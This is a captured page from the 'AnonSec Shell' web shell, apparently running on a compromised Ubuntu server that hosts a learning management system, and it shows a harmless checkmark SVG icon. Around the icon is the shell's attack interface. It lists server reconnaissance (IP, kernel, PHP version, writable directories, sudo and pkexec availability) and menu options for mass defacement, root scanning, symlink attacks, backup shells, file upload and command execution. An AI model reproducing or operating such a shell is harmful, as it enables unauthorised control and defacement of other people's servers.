AnonSec Shell
Server IP : 165.22.154.248  /  Your IP : 216.73.217.0   [ Reverse IP ]
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux droplet-integra 4.15.0-197-generic #208-Ubuntu SMP Tue Nov 1 17:23:37 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/avanza-lms.old.bak9874115/mod/agilesson/pix/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/avanza-lms.old.bak9874115/mod/agilesson/pix/icon-check.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 22.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 427.3 426.5" style="enable-background:new 0 0 427.3 426.5;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#FFFFFF;}
	.st1{fill:#ECC784;}
</style>
<g>
	<path class="st0" d="M110.4,139.5C110.4,139.5,110.4,139.5,110.4,139.5C110.4,139.6,110.4,139.6,110.4,139.5L110.4,139.5z"/>
	<path class="st0" d="M85.8,139.6C85.8,139.6,85.8,139.6,85.8,139.6C85.8,139.5,85.8,139.5,85.8,139.6L85.8,139.6z"/>
	<path class="st0" d="M316.9,286.9C316.9,286.9,316.9,286.9,316.9,286.9C316.9,286.9,316.9,286.9,316.9,286.9L316.9,286.9z"/>
	<g>
		<path class="st1" d="M426,235.4C439,119.2,355.3,14.4,239,1.4C168.5-6.5,101.8,20.6,57.6,69.5c-9.2,9.8-17.5,20.5-24.8,32
			c-2,3.2-4,6.4-5.8,9.7c-0.2,0.3-0.4,0.7-0.5,1c-1.6,2.9-3.1,5.8-4.6,8.8c-0.2,0.5-0.5,1-0.7,1.5c-3.2,6.5-6,13.3-8.5,20.2
			c-0.3,0.8-0.5,1.5-0.8,2.3c-1,2.9-2,5.9-2.9,8.9c-0.2,0.6-0.4,1.1-0.5,1.7c-1,3.5-1.9,7-2.8,10.6c-0.2,0.8-0.3,1.5-0.5,2.3
			c-0.6,2.9-1.2,5.8-1.7,8.7c-0.2,1-0.4,2-0.5,3c-0.6,3.6-1.1,7.3-1.5,11c-13,116.3,70.7,221,186.9,234.1c44.6,5,87-4.9,123.6-24.8
			c3.9-2,7.6-4.1,11.4-6.3c0,0,0.1-0.1,0.1-0.1c3.7-2.2,7.3-4.5,10.8-6.9c0.1,0,0.1-0.1,0.2-0.1c3.5-2.4,7-4.9,10.4-7.5
			c0,0,0.1-0.1,0.1-0.1c3.4-2.6,6.7-5.3,9.9-8.2c0,0,0,0,0.1-0.1c13-11.4,24.7-24.4,34.6-38.7l-8-5.2l7.9,5.1
			C408.9,304.6,421.9,271.6,426,235.4z M357.3,311.7L357.3,311.7L357.3,311.7C357.3,311.7,357.3,311.7,357.3,311.7z M387.9,231.1
			c-3.4,30.1-14.3,57.4-30.6,80.5c0,0,0,0,0,0c-4.5,6.4-9.4,12.4-14.7,18.1c0,0-0.1,0.1-0.1,0.1c-2.5,2.7-5.2,5.4-7.9,8
			c-0.1,0.1-0.3,0.3-0.4,0.4c-2.6,2.4-5.2,4.7-7.9,7c-0.3,0.3-0.6,0.5-0.9,0.8c-2.5,2.1-5.2,4.1-7.8,6c-0.5,0.4-1,0.8-1.5,1.1
			c-2.5,1.8-5.1,3.5-7.7,5.1c-0.7,0.4-1.3,0.9-2,1.3c-2.5,1.6-5.1,3-7.7,4.4c-0.8,0.4-1.5,0.9-2.3,1.3c-3.4,1.8-6.8,3.5-10.3,5
			c-28.3,13.6-59.9,20.5-93.4,16.7C97.3,376.4,28.8,290.6,39.4,195.4c0.3-3,0.8-5.9,1.3-8.9c0.1-0.7,0.2-1.4,0.4-2.2
			c0.5-2.9,1.1-5.8,1.7-8.7c0,0,0,0,0,0c0.7-2.9,1.4-5.7,2.2-8.5c0.2-0.7,0.4-1.4,0.6-2c0.8-2.8,1.7-5.6,2.7-8.3c0,0,0,0,0,0
			c1-2.7,2-5.4,3.1-8.1c0.3-0.6,0.5-1.2,0.8-1.9c2.3-5.3,4.8-10.5,7.5-15.5c0.3-0.6,0.6-1.1,0.9-1.7c1.4-2.5,2.9-5,4.4-7.4l0,0
			c4.5-7.1,9.4-13.8,14.8-20.1c36-44.5,93.8-69.6,154.9-62.8C330,50.1,398.5,135.9,387.9,231.1z"/>
		<path class="st1" d="M313.1,167.9L197.3,283.8c-3.5,3.5-8,5.2-12.6,5.2c-4.6,0-9.1-1.7-12.6-5.2l-57.9-57.9c-7-7-7-18.2,0-25.2
			c7-7,18.2-7,25.2,0l45.3,45.3l103.3-103.2c7-7,18.2-7,25.2,0C320.1,149.7,320.1,160.9,313.1,167.9z"/>
	</g>
	<path class="st0" d="M341.5,286.9C341.5,286.9,341.5,286.9,341.5,286.9C341.5,286.9,341.5,286.9,341.5,286.9L341.5,286.9z"/>
</g>
</svg>

Anon7 - 2022
AnonSec Team